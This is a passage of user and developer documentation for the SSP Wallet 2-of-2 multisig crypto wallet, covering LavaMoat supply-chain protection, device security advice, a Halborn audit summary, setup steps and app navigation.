* **Supply Chain Security**: Protected even if dependencies are compromised
* **Transparent Security**: Open source implementation you can verify
* **Continuous Protection**: Always active in production builds

### For Developers

* **Secure by Default**: No configuration needed for basic protection
* **Granular Control**: Fine-tune permissions when needed
* **Development Friendly**: Disabled in dev for best experience
* **Auditable**: Static policies easy to review

### For Security Auditors

* **Clear Policy Files**: All permissions explicitly defined
* **Deterministic Behavior**: Same security across all environments
* **Compartment Isolation**: Easy to verify module boundaries
* **Open Source**: Full code available for review

## Best Practices

### 1. Regular Policy Updates

When updating dependencies:

```bash
# Update dependencies
yarn upgrade

# Regenerate security policy
npm run generate-policy

# Review policy changes
git diff security/vite-lavamoat-policy.json

# Ensure only necessary new permissions
```

### 2. Security Audits

Periodically verify security:

* Run the security test page
* Review policy changes in pull requests
* Audit new dependencies before adding
* Monitor for unexpected permission requests

### 3. Dependency Hygiene

* Minimize total number of dependencies
* Prefer well-audited, established libraries
* Review dependency chains (sub-dependencies)
* Keep dependencies up-to-date with security patches

## Additional Resources

### SSP Wallet Implementation

* [**Vite Plugin LavaMoat Source Code**](https://github.com/RunOnFlux/ssp-wallet/tree/master/packages/vite-plugin-lavamoat) - Complete plugin implementation
* [**LavaMoat Policy File**](https://github.com/RunOnFlux/ssp-wallet/blob/master/security/vite-lavamoat-policy.json) - Security policies for 70+ packages
* [**Security Test Page**](https://github.com/RunOnFlux/ssp-wallet/blob/master/src/pages/SecurityTest/SecurityTest.tsx) - Runtime security verification

### Documentation

* [Security Overview](/docs/security-and-best-practices/security-overview)
* [Halborn Security Audit](/docs/security-and-best-practices/halborn-audit-2025)

### External Resources

* [LavaMoat Official Documentation](https://github.com/LavaMoat/LavaMoat)
* [Secure ECMAScript (SES)](https://github.com/endojs/endo/tree/master/packages/ses)
* [Supply Chain Security Best Practices](https://www.cisa.gov/supply-chain)

### Security Testing

* **Test Page Access**: Click version number 5 times rapidly in the wallet footer
* **Browser Console Check**: `window.__lavamoat_security_active`
* **Run Tests Manually**: `window.__lavamoat_run_security_tests()`

## Reporting Security Issues

If you discover a security vulnerability:

1. **Do NOT create a public GitHub issue**
2. **Use GitHub Security**: [Report vulnerability](https://github.com/RunOnFlux/ssp-wallet/security)
3. **Responsible Disclosure**: Allow time for fixes before public disclosure
4. **Contact Information**: Available in repository security policy

## Conclusion

LavaMoat runtime security is a critical component of SSP Wallet's defense-in-depth strategy. By compartmentalizing modules, enforcing least-privilege access, and blocking dangerous APIs, LavaMoat provides robust protection against supply chain attacks and code injection vulnerabilities.

Combined with SSP's other security features (2-of-2 multisig, device isolation, encryption), LavaMoat ensures your cryptocurrency assets remain secure even in the face of sophisticated attacks.

***

**Security Status**: 🛡️ **PROTECTED** **Protected Packages**: 70+ **Last Updated**: October 2025 **Audit Status**: ✅ Halborn Audited


# Device Security Guidelines

## Overview

SSP Wallet uses a **2-of-2 multisignature system** where both your browser extension (SSP Wallet) and mobile app (SSP Key) must approve transactions. This means protecting both devices is essential for securing your cryptocurrency.

## 🖥️ SSP Wallet (Browser Extension) Security

### Browser Extension Protection

**Essential Browser Settings:**

* ✅ **Pin SSP Wallet extension** to toolbar for easy access
* ✅ **Enable automatic browser updates**
* ✅ **Use official browser stores only** (Chrome Web Store, Firefox Add-ons)
* ✅ **Verify publisher** is "Run on Flux" before installing
* ❌ **Never install** SSP Wallet from third-party websites

### SSP Wallet Password Security

Your SSP Wallet password protects access to your browser extension:

* 🔐 **Use strong, unique password** (12+ characters)
* 💾 **Store in password manager**
* 🔄 **Never reuse** passwords from other accounts
* 🚫 **Don't use browser's built-in password saving** for SSP Wallet

### Computer Security for SSP Wallet

**Critical Requirements:**

* 🔒 **Lock your computer** when not in use
* 🔄 **Enable automatic OS updates**
* 🛡️ **Run antivirus software** (Windows Defender is sufficient)
* 🚫 **Avoid using SSP Wallet on shared computers**

## 📱 SSP Key (Mobile App) Security

### Mobile App Protection

**Essential Mobile Settings:**

* 📱 **Enable strong screen lock** (6+ digit PIN or biometric)
* 🔐 **Enable biometric authentication** for SSP Key if available
* 🔄 **Keep mobile OS updated** to latest version
* ✅ **Download only from official app stores** (App Store, Google Play)

### SSP Key PIN Security

Your SSP Key PIN protects transaction approvals:

* 🔢 **Use 6+ digit PIN** (longer is better)
* 🤔 **Choose non-obvious numbers** (avoid birthdays, sequences)
* 🔄 **Change PIN periodically** for high-value wallets
* 🚫 **Never share PIN** with anyone

## 🔐 2-of-2 Security Implications

### Why Both Devices Matter

In SSP's 2-of-2 system:

* 🔑 **Both keys required** - Compromise of one device alone cannot steal funds
* ⚡ **Both devices needed** - Losing access to either device blocks transactions
* 🛡️ **Distributed security** - No single point of failure

### Device Loss Scenarios

**If you lose SSP Wallet device (computer):**

1. 🆕 **Install SSP Wallet** on new computer
2. 🔑 **Restore using seed phrase**
3. 🔄 **Re-sync with existing SSP Key**

**If you lose SSP Key device (mobile):**

1. 🆕 **Install SSP Key** on new mobile device
2. 🔑 **Restore using SSP Key seed phrase**
3. 🔄 **Re-sync with existing SSP Wallet**

**If you lose both devices:**

1. 🔑 **Need both seed phrases** for complete recovery
2. 🆕 **Install both apps** on new devices
3. 🔄 **Restore and re-sync** both components

## 🚨 SSP-Specific Security Warnings

### Never Do These:

* ❌ **Don't use SSP Wallet on public computers** (libraries, internet cafes)
* ❌ **Don't approve transactions without verifying** details on mobile
* ❌ **Don't store seed phrases digitally** (photos, cloud storage, etc.)
* ❌ **Don't ignore sync errors** - they may indicate security issues
* ❌ **Don't share QR codes** from sync process with others

### Critical Security Practices:

* ✅ **Always verify transaction details** on SSP Key before approving
* ✅ **Keep both devices updated** and secure
* ✅ **Store seed phrases separately** in secure physical locations
* ✅ **Test recovery process** with small amounts first
* ✅ **Monitor transaction history** regularly on both devices

## 🛠️ Secure Usage Patterns

### Daily Usage

* 🔒 **Lock both devices** when not in use
* 📱 **Keep mobile device with you** for transaction approvals
* 👀 **Verify transaction details** match on both screens
* ⏰ **Don't approve transactions** you didn't initiate

### High-Value Transactions

* 🔍 **Double-check recipient addresses**
* 💰 **Test with small amounts** first
* 🏠 **Use secure network** (avoid public WiFi)
* ⏱️ **Take time to review** - don't rush approvals

### Regular Maintenance

* 🔄 **Update both apps** when new versions available
* 🔍 **Review transaction history** weekly
* 🔑 **Verify seed phrase backups** are secure and accessible
* 📱 **Check device sync status** regularly

## Emergency Response

### If You Suspect Device Compromise

**Immediate Actions:**

1. 🧊 **Don't panic — one device alone cannot move funds.** SSP is a strict 2-of-2 multisig, so every transaction (including a rescue transfer) needs BOTH your SSP Wallet and SSP Key. A single compromised device cannot steal funds on its own.
2. 🆕 **Create a fresh SSP Wallet** with brand-new seed phrases on a clean device.
3. 🔄 **While you still control BOTH keys, use both devices together to move funds** to the new wallet — this co-sign requires both the SSP Wallet and the SSP Key (including the possibly-compromised one).
4. 🚨 **Only after the funds are safely moved, stop using / discard the old setup.** Do not wipe or abandon either old device before the funds have moved, or you may permanently freeze the 2-of-2.

### Getting Help

* 📝 **Report security issues** via [GitHub Issues](https://github.com/RunOnFlux/ssp-wallet/issues)
* 🔍 **Check transaction history** on both devices for unauthorized activity
* 📱 **Contact device manufacturer** for device-specific security concerns

***

**Remember: SSP's 2-of-2 multisignature design means both devices must be secure, but also provides protection against single device compromise.**


# Halborn Security Audit 2025

SSP Wallet ecosystem has undergone comprehensive security audits by [**Halborn**](https://halborn.com/), a leading blockchain security firm specializing in smart contract audits, penetration testing, and security consulting for Web3 projects.

## Audit Overview

All critical components of the SSP ecosystem were thoroughly audited to ensure the highest security standards:

### 🔍 **Audit Scope**

* **SSP Wallet** (Browser Extension)
* **SSP Key** (Mobile Application)
* **SSP Relay** (Communication Server)
* **Smart Contracts** (Account Abstraction)
* **SDK Components** (Development Tools)

### 📅 **Timeline**

* **Smart Contract Audit**: December 23, 2024 - January 3, 2025
* **SDK Audit**: January 2 - January 14, 2025
* **SSP Wallet, Key & Relay Audit**: December 30, 2024 - January 22, 2025
* **Final Reports**: Published March 2025

## Audit Reports

### 📄 SSP Wallet, SSP Key & SSP Relay Audit

**Comprehensive security assessment of the core SSP ecosystem components**

#### Scope of Review

* **Client-Side Security**: Browser extension and mobile app security
* **Communication Protocols**: Secure relay server implementation
* **Cryptographic Implementations**: Key generation, encryption, and signing
* **Data Storage**: Secure storage of sensitive information
* **Authentication Systems**: Multi-factor authentication mechanisms
* **API Security**: External service integrations

#### Security Validation Results

✅ **Browser Extension Security**: Comprehensive security review completed\
✅ **Mobile App Security**: Android and iOS applications validated\
✅ **API Security**: SSP Relay server security confirmed\
✅ **Cross-Platform Integration**: Multi-device architecture validated\
✅ **Remediation**: 100% of identified areas addressed

#### **Access Reports**

* **📊** [**GitHub Report**](https://github.com/RunOnFlux/ssp-wallet/blob/master/SSP_Security_Audit_HALBORN_2025.pdf)
* **🌐** [**Halborn Public Report**](https://www.halborn.com/audits/influx-technologies/ssp-wallet-relay-and-key)

***

### 📄 Smart Contracts Security Audit

**In-depth analysis of Account Abstraction smart contracts with Schnorr multisignature support**

#### Scope of Review

* **Smart Contract Architecture**: ERC-4337 implementation review
* **Schnorr Signature Validation**: Cryptographic signature verification
* **Access Control**: Permission and ownership mechanisms
* **Gas Optimization**: Efficient contract execution patterns
* **Upgrade Mechanisms**: Secure contract upgrade procedures
* **Integration Security**: External contract interaction safety

#### Security Validation Results

✅ **ERC-4337 Implementation**: Account Abstraction standard compliance verified\
✅ **Schnorr Cryptography**: Multi-signature implementation validated\
✅ **Smart Contract Architecture**: Core functionality security confirmed\
✅ **Integration Security**: Safe contract interaction patterns verified\
✅ **Remediation**: All identified areas successfully addressed

#### **Access Reports**

* **📊** [**GitHub Report**](https://github.com/RunOnFlux/ssp-wallet/blob/master/Account_Abstraction_Schnorr_MultiSig_SmartContracts_SecAudit_HALBORN_2025.pdf)
* **🌐** [**Halborn Public Report**](https://www.halborn.com/audits/influx-technologies/account-abstraction-schnorr-multisig)

***

### 📄 SDK Security Audit

**Security evaluation of the Software Development Kit and integration libraries**

#### Scope of Review

* **API Security**: Public interface security assessment
* **Integration Patterns**: Safe integration practices
* **Error Handling**: Secure error management and logging
* **Input Validation**: Parameter validation and sanitization
* **Dependency Security**: Third-party library security review
* **Documentation Security**: Security guidance and best practices

#### Security Validation Results

✅ **SDK Architecture**: Secure development kit structure validated\
✅ **Cryptographic Functions**: Schnorr signature implementation confirmed\
✅ **Integration Safety**: Safe usage patterns for developers verified\
✅ **Security Practices**: Proper cryptographic hygiene validated\
✅ **Remediation**: All security considerations successfully addressed

#### **Access Reports**

* **📊** [**GitHub Report**](https://github.com/RunOnFlux/ssp-wallet/blob/master/Account_Abstraction_Schnorr_MultiSig_SDK_SecAudit_HALBORN_2025.pdf)
* **🌐** [**Halborn Public Report**](https://www.halborn.com/audits/influx-technologies/account-abstraction-schnorr-signatures-sdk)

## Security Methodology

### 🔬 **Audit Process**

#### 1. **Static Code Analysis**

* Automated vulnerability scanning
* Code quality and security pattern analysis
* Dependency vulnerability assessment
* Configuration security review

#### 2. **Dynamic Security Testing**

* Runtime behavior analysis
* Penetration testing on live systems
* Network communication security testing
* Authentication and authorization testing

#### 3. **Manual Security Review**

* Expert code review by security specialists
* Cryptographic implementation analysis
* Business logic security assessment
* Threat modeling and attack vector analysis

#### 4. **Integration Testing**

* Cross-component security validation
* End-to-end security flow testing
* Third-party integration security review
* API security boundary testing

### 🛡️ **Security Categories Evaluated**

#### **Critical Severity**

* Private key exposure vulnerabilities
* Authentication bypass mechanisms
* Fund loss or theft vulnerabilities
* Smart contract critical bugs

#### **High Severity**

* Privilege escalation vulnerabilities
* Data integrity compromise
* Denial of service vulnerabilities
* Significant business logic flaws

#### **Medium Severity**

* Information disclosure vulnerabilities
* Minor business logic issues
* Non-critical configuration problems
* Performance security issues

#### **Low Severity**

* Code quality improvements
* Documentation enhancements
* Minor security hardening opportunities
* Best practice recommendations

## Audit Results Summary

### 🎯 **Overall Security Rating: EXCELLENT**

All audited components successfully completed comprehensive security evaluation with 100% of findings addressed.

#### **Key Security Strengths Validated**

✅ **Robust Cryptographic Implementation**\
✅ **Secure Multi-Device Architecture**\
✅ **Comprehensive Input Validation**\
✅ **Proper Error Handling and Logging**\
✅ **Secure Communication Protocols**\
✅ **Effective Access Control Mechanisms**

### 📊 **Security Validation Completed**

* **Comprehensive Code Review**: Manual and automated analysis completed
* **Cryptographic Implementation**: Schnorr signature validation confirmed
* **Multi-Device Architecture**: 2-of-2 multisignature system validated
* **Communication Security**: TLS implementation and relay security confirmed

## Security Excellence Validated

### 🔧 **Security Features Validated**

#### **Smart Contract Security**

* ERC-4337 Account Abstraction implementation validated
* Schnorr multisignature cryptography confirmed secure
* Multi-signature wallet functionality verified
* Entry point integration properly implemented

#### **Application Security**

* Browser extension security architecture confirmed
* Mobile app cryptographic implementation validated
* Cross-device communication security verified
* API endpoint security confirmed

#### **Infrastructure Security**

* SSP Relay server security validated
* Device synchronization security confirmed
* Key derivation and storage security verified
* Communication protocols security validated

### 🚀 **Post-Audit Monitoring**

* Continuous security monitoring implementation
* Automated vulnerability scanning pipeline
* Regular security assessment schedule
* Incident response procedure refinement

## Halborn Security Profile

### 🏛️ **About Halborn**

Halborn is a leading cybersecurity firm specializing in blockchain security, with expertise in:

* **Smart Contract Auditing**: 500+ projects audited
* **Penetration Testing**: Comprehensive security assessments
* **DevSecOps**: Security-integrated development practices
* **Incident Response**: 24/7 security monitoring and response

### 🎖️ **Industry Recognition**

* **Top Blockchain Security Firm** by multiple industry rankings
* **Certified Security Professionals** with specialized blockchain expertise
* **Published Research** on blockchain security methodologies
* **Community Contributions** to blockchain security standards

## Continuous Security Commitment

### 🔄 **Ongoing Security Measures**

#### **Regular Re-Audits**

* Quarterly security assessments
* Major update security reviews
* New feature security validation
* Third-party integration reviews

#### **Security Monitoring**

* 24/7 security monitoring systems
* Automated threat detection
* Real-time vulnerability scanning
* Proactive security alerting

#### **Community Security Program**

* **Bug Bounty Program**: Rewarding security researchers
* **Responsible Disclosure**: Clear vulnerability reporting process
* **Security Research**: Contributing to blockchain security knowledge
* **Open Source Security**: Transparent security practices

### 📞 **Security Contact**

* **Security Issues**: Report via [GitHub Security Advisories](https://github.com/RunOnFlux/ssp-wallet/security)
* **Bug Reports**: Submit via [GitHub Issues](https://github.com/RunOnFlux/ssp-wallet/issues)
* **Responsible Disclosure**: Use GitHub security reporting features

## Conclusion

The comprehensive Halborn security audits validate SSP Wallet's commitment to providing enterprise-grade security for cryptocurrency management. The audits confirm that SSP Wallet implements industry-leading security practices while maintaining an intuitive user experience.

**Key Takeaways:**

* ✅ **Production-Ready Security**: All components validated for production use
* ✅ **Industry Best Practices**: Leading security standards implemented
* ✅ **Continuous Improvement**: Ongoing security enhancement commitment
* ✅ **Transparent Security**: Open audit results and clear security documentation

The audit results demonstrate that SSP Wallet provides a secure, reliable, and professional-grade solution for cryptocurrency self-custody with innovative 2-of-2 multisignature technology.


# First-Time Setup Guide

## Welcome to SSP Wallet!

This guide will walk you through setting up your **SSP Wallet 2-of-2 multisignature system** in about **10 minutes**. You'll need two devices: a computer (or mobile browser) and a smartphone.

## 📋 What You'll Need

### Required Devices

* **🖥️ Computer/Laptop** with Chrome, Firefox, or Brave browser
* **📱 Smartphone** (iOS 15.1+ or Android 7+)
* **🌐 Internet Connection** on both devices
* **✏️ Pen and Paper** for seed phrase backup (physical backup only!)

### Estimated Time

* **Setup**: 10 minutes
* **First Transaction**: 2 minutes
* **Complete Tutorial**: 15 minutes total

## 🚀 Step 1: Install SSP Wallet (Browser Extension)

### Chrome/Brave Installation

1. **Visit Chrome Web Store**

   ```
   🔗 https://chromewebstore.google.com/detail/ssp-wallet/mgfbabcnedcejkfibpafadgkhmkifhbd
   ```
2. **Click "Add to Chrome"**
3. **Pin Extension** to toolbar for easy access
4. **Click SSP Wallet icon** to begin setup

### Firefox Installation

1. **Visit Firefox Add-ons**

   ```
   🔗 https://addons.mozilla.org/firefox/addon/ssp-wallet/
   ```
2. **Click "Add to Firefox"**
3. **Pin to toolbar** and **click icon** to start

## 📱 Step 2: Install SSP Key (Mobile App)

### iOS Installation

1. **Open App Store**
2. **Search "SSP Key"** or visit:

   ```
   🔗 https://apps.apple.com/app/ssp-key/id6463717332
   ```
3. **Install and open** the app

### Android Installation

1. **Open Google Play Store**
2. **Search "SSP Key"** or visit:

   ```
   🔗 https://play.google.com/store/apps/details?id=io.runonflux.sspkey
   ```
3. **Install and open** the app

## 🔐 Step 3: Create Your First Wallet

### On SSP Wallet (Browser)

1. **Click "Create New Wallet"**
2. **Set Strong Password**

   ```
   ✅ At least 12 characters
   ✅ Mix of letters, numbers, symbols
   ✅ Unique to SSP Wallet
   ✅ Store in password manager
   ```
3. **Write Down Seed Phrase**

   ```
   ⚠️  CRITICAL SECURITY STEP
   ✅ Write on paper (not digitally)
   ✅ Double-check spelling
   ✅ Store in secure location
   ✅ Make multiple copies
   ```
4. **Pass the Word Challenge**
   * The wallet asks you to pick specific words of your phrase (e.g., "Word #2") from a set of choices — this verifies your backup is real
5. **Make It Yours**
   * Give your wallet a name and accent color so you can spot it at a glance
6. **Wallet Created Successfully!**
   * You'll see your empty wallet dashboard

### Important: First Device Complete ✅

Your browser extension now holds **Key #1** of your 2-of-2 multisig system.

## 📲 Step 4: Set Up SSP Key (Mobile)

### On SSP Key App

1. **Open SSP Key App**
2. **Choose "Create New Key"**
3. **Set PIN or Biometric**

   ```
   ✅ Use 6+ digit PIN
   ✅ Enable Face ID/Touch ID if available
   ✅ Choose secure but memorable PIN
   ```
4. **Write Down Mobile Seed Phrase**

   ```
   ⚠️  SECOND CRITICAL STEP
   ✅ This is DIFFERENT from wallet seed
   ✅ Write on paper separately
   ✅ Store in different location from wallet seed
   ✅ Both seeds needed for full recovery
   ```
5. **Confirm Mobile Seed Phrase**
   * Pass the 3-word challenge: pick the requested words of your phrase from the choices shown (this replaces the old "I backed it up" switch)
6. **Key Created Successfully!**
   * You'll see "Ready to Sync" screen

### Important: Second Device Complete ✅

Your mobile app now holds **Key #2** of your 2-of-2 multisig system.

## 🔄 Step 5: Synchronize Your Devices

This step connects your two keys to create secure multisig addresses.

### Start Synchronization

1. **On SSP Wallet (Browser)**

   ```
   1. The pairing screen shows a large QR code
   2. Optional: select extra chains to activate along with Bitcoin
      (one approval on the Key activates them all)
   3. Keep this screen open — it shows live pairing status
   ```
2. **On SSP Key (Mobile)**

   ```
   1. Tap "Scan Code"
   2. Point camera at QR code on computer screen
   3. Slide to approve the synchronisation,
      then confirm with biometrics or password
   ```

### Automatic Sync Process

```
📱 SSP Key scans QR code
    ↓
🔄 Devices exchange public keys securely
    ↓  
🔐 Multisig addresses generated
    ↓
🔑 Both devices show the same 6-word verification code
    ↓
✅ Sync Complete!
```

### Verify Synchronization (Important!)

Both devices show a **6-word verification code**, each derived independently from the synced keys:

* 📷 In SSP Key, tap **"Scan wallet to verify"** and scan the wallet's verification QR — or compare the 6 words by eye
* ✅ **Words match** → your pairing is genuine; no one (not even the relay) tampered with it. Click "They match — continue"
* 🚨 **Words differ** → STOP. Do not use the wallet — choose "They don't match" and re-pair. See [Pairing Verification Code](/docs/getting-started-with-ssp-key/pairing-verification-code)

Both devices should then show:

* ✅ **"Synchronization Successful"**
* ✅ **Same wallet addresses** displayed

## 🎉 Step 6: Your First Transaction Test

Let's verify everything works with a small test transaction.

### Get Your Wallet Address

1. **Click "Receive" in SSP Wallet**
2. **Copy your Bitcoin address** (starts with 'bc1')
3. **Share this address** to receive funds

### Send a Small Test Amount

1. **Get small amount of Bitcoin** (from exchange/friend)
2. **Send to your SSP address**
3. **Wait for confirmation** (usually 10-60 minutes)

### Test Sending

1. **Click "Send" in SSP Wallet** — sending is a guided 3-step flow (Details → Review → Approve)
2. **Enter recipient address** — an address you control (e.g. your exchange deposit address or a second wallet you own). Do **not** enter a testnet or faucet address: on mainnet a testnet address (starting `tb1`) is invalid and will be rejected, and a faucet is where you *obtain* testnet coins, not a destination to send to.
3. **Enter small amount** ($1-5 worth)
4. **Review transaction details** — the review step always shows the full recipient address; the fee is automatic (override it if you like)
5. **Continue to approval**

### Mobile Approval Process

```
🖥️  SSP Wallet creates transaction
    ↓
📱 SSP Key receives notification and decodes it on-device
    ↓
👤 You verify the plain-language summary, then slide to approve
    ↓
✅ Transaction broadcasts to network
```

### Success! 🚀

If the test transaction completes, your SSP Wallet setup is **perfect**!

## 🛡️ Critical Security Steps

### Secure Your Seed Phrases

```
⚠️  NEVER store seed phrases digitally
✅ Write on physical paper
✅ Store in different secure locations  
✅ Consider safety deposit box for large amounts
✅ Make multiple copies
❌ No photos, no cloud storage, no password managers
```

### Device Security

```
✅ Enable screen locks on both devices
✅ Use strong, unique passwords
✅ Enable automatic updates
✅ Install reputable antivirus software
✅ Never lend devices to others for crypto operations
```

### Backup Verification

**Test your backups NOW while setup is fresh in memory:**

1. **Record your current wallet addresses**
2. **Reset SSP Wallet** (only do this once your seed phrases are safely backed up)
3. **Restore from your wallet seed phrase**
4. **Re-sync with SSP Key** — scan the wallet's QR code. This is required first: after a restore the wallet holds only Key #1, so it **cannot show any multisig addresses until it re-syncs** with your SSP Key (Key #2)
5. **Verify the same addresses generate** — once re-synced, the addresses should match those you recorded in step 1

## 🚨 Emergency Information

### If Something Goes Wrong

* **Lost Device**: Use seed phrase to restore on new device
* **Forgotten Password**: Restore wallet using seed phrase
* **Sync Problems**: Try manual QR code sync or restart both apps
* **Technical Issues**: [Report via GitHub Issues](https://github.com/RunOnFlux/ssp-wallet/issues)

### Recovery Process Overview

```
🔑 Wallet Seed Phrase → Restores SSP Wallet
    +
🔑 Key Seed Phrase → Restores SSP Key
    =
🔄 Re-sync → Full wallet recovery
```

## ✅ Setup Complete Checklist

Congratulations! Verify you've completed everything:

* [ ] ✅ SSP Wallet installed and working
* [ ] ✅ SSP Key installed and working
* [ ] ✅ Strong passwords/PINs set
* [ ] ✅ Both seed phrases written down and stored securely
* [ ] ✅ Devices successfully synchronized
* [ ] ✅ Test transaction completed
* [ ] ✅ Backup recovery process understood
* [ ] ✅ Security best practices reviewed

## 🎓 Next Steps

### Learn More

* [**Interactive Website Tutorial**](https://sspwallet.io/guide) - Complete video setup guide with detailed instructions
* **In-App Tutorial** - Available within SSP Wallet for interactive guidance
* [**Send Your First Transaction**](/docs/getting-started-with-ssp-wallet/transaction/send) - Detailed transaction guide
* [**Security Best Practices**](/docs/security-and-best-practices/security-overview) - Comprehensive security guide

### Start Using SSP Wallet

* **Add More Cryptocurrencies** - Bitcoin, Ethereum, and 13+ blockchains supported
* **Connect to dApps** - Use WalletConnect for DeFi and NFT platforms
* **Set Up Contacts** - Save frequently used addresses
* **Explore Advanced Features** - Account abstraction, batch transactions

### Get Additional Help

* **Interactive Website Tutorial**: [Complete Setup Guide](https://sspwallet.io/guide) - Video walkthrough with step-by-step instructions
* **In-App Tutorial**: Available within SSP Wallet after installation - Interactive setup guidance
* **GitHub Support**: [Report Issues](https://github.com/RunOnFlux/ssp-wallet/issues) for technical support

## 🎯 Pro Tips for New Users

### Optimization Tips

* **Pin browser extension** to toolbar for quick access
* **Enable mobile notifications** for transaction approvals
* **Use contacts feature** for frequently sent addresses
* **Set up price alerts** for your favorite cryptocurrencies

### Common Beginner Mistakes to Avoid

* ❌ Don't store seed phrases in password managers
* ❌ Don't use public WiFi for large transactions
* ❌ Don't skip address verification when sending
* ❌ Don't lose patience with blockchain confirmation times
* ❌ Don't forget to test small amounts first

***

**🎉 Welcome to the most secure crypto wallet experience! You're now part of the SSP community with true 2-of-2 multisignature security.**

Need help? Visit our [**Interactive Website Tutorial**](https://sspwallet.io/guide) for video guidance, use the **in-app tutorial** within SSP Wallet, or [**report issues on GitHub**](https://github.com/RunOnFlux/ssp-wallet/issues) for technical support.


# Navigating SSP Wallet

SSP Wallet v2 uses two navigation systems that never overlap: the **identity pill** at the top for *what you're looking at* (wallet + chain), and the **bottom bar** for *where you are* (Home, Portfolio, Activity, Menu).

## The identity pill (top)

At the top of the wallet you'll see a pill showing your active wallet's **identicon**, **name**, and the active **chain**. The wallet's color dot and identicon make it recognizable at a glance — the same identicon appears on your SSP Key, which is one way to visually confirm the two devices are paired to each other.

**Tap the pill** to open the switcher — a single searchable sheet containing:

* **Your wallets** at the top, with balances — tap one to switch to it. From here you can also **Generate New Wallet**, name and color a wallet, or **Remove Last Wallet**.
* **Networks** below — tap a chain to switch to it. Chains you haven't activated yet can be activated from here (see [Switch Chain](/docs/getting-started-with-ssp-wallet/switch-chain)).

Next to the pill sits the **Lock** button, which securely logs you out.

## The bottom bar

The bottom bar is a compact, icons-only bar (hover or long-press an icon for its name; in the browser side-panel it expands into a labeled rail):

| Tab              | What it's for                                                                                                                                                                           |
| ---------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 🏠 **Home**      | The active wallet: your balance, the Send / Receive / Swap / Buy-Sell action row, and the Tokens, Activity, Contacts, and Nodes sections for the current chain.                         |
| 📊 **Portfolio** | Your total value across **all** chains, wallets, and tokens — with 24h change and allocation. See [Portfolio & Activity](/docs/getting-started-with-ssp-wallet/portfolio-and-activity). |
| 🕘 **Activity**  | Your transaction history.                                                                                                                                                               |
| ☰ **Menu**       | Everything else — settings and tools (this replaces the old Settings menus).                                                                                                            |

## The Menu tab

**Menu** is the full toolbox. It contains, in sections:

* **General** — Language, fiat currency, and theme (System / Light / Dark)
* **Security** — Change password, public nonces sync
* **Networks** — SSP Relay and per-chain node / API / explorer service configuration
* **WalletConnect** — connect to dApps (EVM chains)
* **Address Details** and **SSP Wallet Details** — your addresses, extended public keys, seed phrase, and sync QR codes
* **Sign Message**, **SSP Enterprise**, and the built-in **Tutorial**

## Privacy mode

**Tap your balance** on Home to blur every amount in the wallet. Tap again to show them. Useful when someone can see your screen.

## Backup health

Until your seed phrase backup is verified and your SSP Key is paired, an amber **backup health** card appears under your balance showing exactly what is at stake. Once everything is secured, it disappears.


# Portfolio & Activity

Two of the bottom-bar tabs introduced in SSP Wallet v2 give you the big picture across everything you hold.

## Portfolio

Open the **Portfolio** tab (bottom bar) to see:

* **Total balance across every chain and wallet** — tokens included — converted to your fiat currency
* **24-hour change** for your whole portfolio
* **Allocation** at a glance — how your value is distributed across chains and assets
* **Per-wallet rows** — tapping a wallet switches the app to it (a second path to the same switcher destination as the identity pill)

Chains you haven't activated yet appear in the list and can be activated right from there — with SSP Key v2, activating one or more chains takes a **single approval** on your Key (see [Switch Chain](/docs/getting-started-with-ssp-wallet/switch-chain)).

{% hint style="info" %}
Balances across chains are fetched concurrently and cached, so the Portfolio tab stays fast even with many chains active.
{% endhint %}

## Activity

Open the **Activity** tab (bottom bar) to see your transaction history — sent, received, and pending transactions with full details. Click any transaction for fees, confirmations, and a link to the chain's block explorer.

From the bottom of the list you can also **Export Transactions** to a CSV file — see [Export Transactions](/docs/getting-started-with-ssp-wallet/transaction/export-transactions).

{% hint style="info" %}
Transactions pending SSP Key approval are marked accordingly — every send needs both of your devices to sign before it broadcasts.
{% endhint %}

## Privacy mode

If you don't want amounts visible, **tap your balance** on Home to blur every amount across the wallet — including Portfolio and Activity. Tap again to reveal them.


# Change Language

{% hint style="info" %}
You may update the language based on your preference
{% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fp54z15CYPMC0VMG32MNv%2FScreenshot%20from%202025-01-08%2016-31-46.png?alt=media&amp;token=67858a21-0a9f-406f-9756-56c602a1262a" alt="" width="316"><figcaption></figcaption></figure></div>

{% hint style="info" %}
You can change the language before logging in, or at any time while using SSP Wallet from the **Menu** tab.
{% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fr6SHl7Zvas30xDESnou8%2Fimage.png?alt=media&amp;token=296ba75c-6f7f-48b3-977b-eb4aa8db74c4" alt=""><figcaption></figcaption></figure></div>

Open the **Menu** tab (the ☰ icon in the bottom bar)

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FfVrhwMcjNJgw8z14ELnA%2Fimage.png?alt=media&amp;token=3274fbb7-85a6-4e57-b94e-7340cab59b33" alt=""><figcaption></figcaption></figure></div>

In the **General** section, choose your preferred language from the list

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FKH2Q81HdXjerdqOtNi1h%2Fimage.png?alt=media&amp;token=2449fbde-0959-4d3a-a674-2e49310b008a" alt="" width="320"><figcaption></figcaption></figure></div>

The change applies immediately

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FickK9ik8TKkmi8tPEcvv%2Fimage.png?alt=media&amp;token=3742f033-765c-4d5b-8aaf-e2cae9f1d8d9" alt="" width="320"><figcaption></figcaption></figure></div>

Congratulations you just updated the language!


# Switch Chain

{% hint style="info" %}
Switch Chain lets you move from one network to another — for example from Bitcoin to Ethereum. Each chain has its own addresses, balances, and activity.
{% endhint %}

## Switching to a chain you already activated

